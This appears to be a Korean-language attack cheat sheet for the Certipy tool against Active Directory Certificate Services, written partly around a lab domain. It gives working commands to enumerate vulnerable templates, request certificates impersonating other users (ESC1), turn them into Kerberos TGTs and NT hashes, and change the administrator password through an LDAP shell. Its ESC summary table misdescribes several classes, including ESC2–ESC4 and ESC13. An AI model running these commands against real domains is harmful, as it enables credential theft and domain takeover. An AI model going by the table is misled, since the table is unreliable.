Active Directory Certificate Services (AD CS) 환경을 공격하고 진단하는 도구
- 인증서 템플릿 Enumeration
- 취약한 템플릿을 통한 인증서 요청 및 사용자 Spoofing
- 인증서 발급 후 TGT 요청 (PKINIT)
- NTLM, TGT, TGS 크래킹을 위한 hash 추출
- ESC1 ~ ESC8과 같은 AD CS 공격 시나리오 자동화
# 사용법
```bash
# Go-to
# .json, .txt 파일 만들지 말고 터미널에서 취약한 템플릿만 출력
certipy-ad find -u <user> -p <pwd> -target $IP -stdout -vulnerable
# 인증서 템플릿 enumeration
certipy-ad find -u <username> -p <password> -target <DC or ADCS>
# 인증서 요청 (ESC1 취약점 악용)
# 성공시 .pfx 파일 생성
certipy-ad req -u <username> -p <password> -ca CA_HOSTNAME\\CA_NAME -template <template> -upn <user>@<domain>
# 예시
certipy-ad req -u susanna_mcknight -p CHANGEME2023! -ca thm-LABYRINTH-CA -target $IP -template ServerAuth -upn
[email protected]
# 혹은 ldap-shell로 직접 비밀번호 변경하기
certipy-ad auth -ldap-shell -pfx administrator.pfx -dc-ip $IP -username administrator -domain thm.local
# pfx로 TGT 요청
certipy-ad auth -pfx <pfx file>
certipy-ad auth -pfx <pfx file> -dc-ip $IP
# NT Hash로 인증서 요청 (ESC8)
certipy-ad req -u <username> -hashes :<ntlm_hash> -ca CA_HOSTNAME\\CA_NAME -template <template>
```
# 취약점
AD CS 환경은 기본적으로 `X.509` 인증서를 통해 사용자 인증을 제공한다. 하지만 다음과 같은 설정 오류가 있을 경우 공격자에게 취약점을 제공하게 됨.
- 인증서 템플릿이 `Client Authentication` EKU를 포함.
- Enroll/Autoenroll 권한이 과도하게 부여됨.
- 인증서 요청 시 사용자가 Subject를 직접 입력 가능
- CA 보안 설정이 느슨함.
이러한 조건에서 공격자는 인증서를 발급받고 이를통해 Kerberos TGT를 요청하거나 Pass-the-Certificate 공격을 수행하여 도메인 내 권한 상승이 가능하다.
# ESC
|ESC 번호|설명 (요약)|필요한 조건|결과|
|---|---|---|---|
|**ESC1**|**사용자가 인증서 등록 템플릿을 통해 인증서 발급 가능 + `Client Authentication` EKU 포함**|Enroll 권한|인증서로 Kerberos TGT 요청 가능 → **AD 권한 탈취**|
|**ESC2**|**템플릿을 수정할 수 있는 권한이 있음** → 위험한 설정으로 수정 가능|Write 권한|ESC1과 유사하게 악용|
|**ESC3**|인증서 템플릿에 `ENROLLEE_SUPPLIES_SUBJECT` 설정 → 다른 사용자의 이름으로 인증서 발급 가능|Enroll 권한|다른 사용자로 가장 가능|
|**ESC4**|인증 기관(Enterprise CA)의 보안 설정이 취약함|CA 권한 오용|모든 사용자의 인증서 발급 가능|
|**ESC6**|인증 기관 등록 권한을 남용하여 악성 템플릿 등록|인증서 등록 가능 + CA 권한 일부|악성 인증서 템플릿으로 권한 상승|
|**ESC8**|사용자가 `NTLM Relay`를 통해 AD CS에 인증 요청|인증되지 않은 상태에서 공격 가능|인증 없이 인증서 발급 가능 (e.g. PetitPotam)|
|**ESC13**|**Shadow Credentials** — `msDS-KeyCredentialLink` 속성을 오용해 사용자의 스마트카드 로그인처럼 인증 가능|대상 계정의 속성 수정 권한|인증서 없이 인증 가능|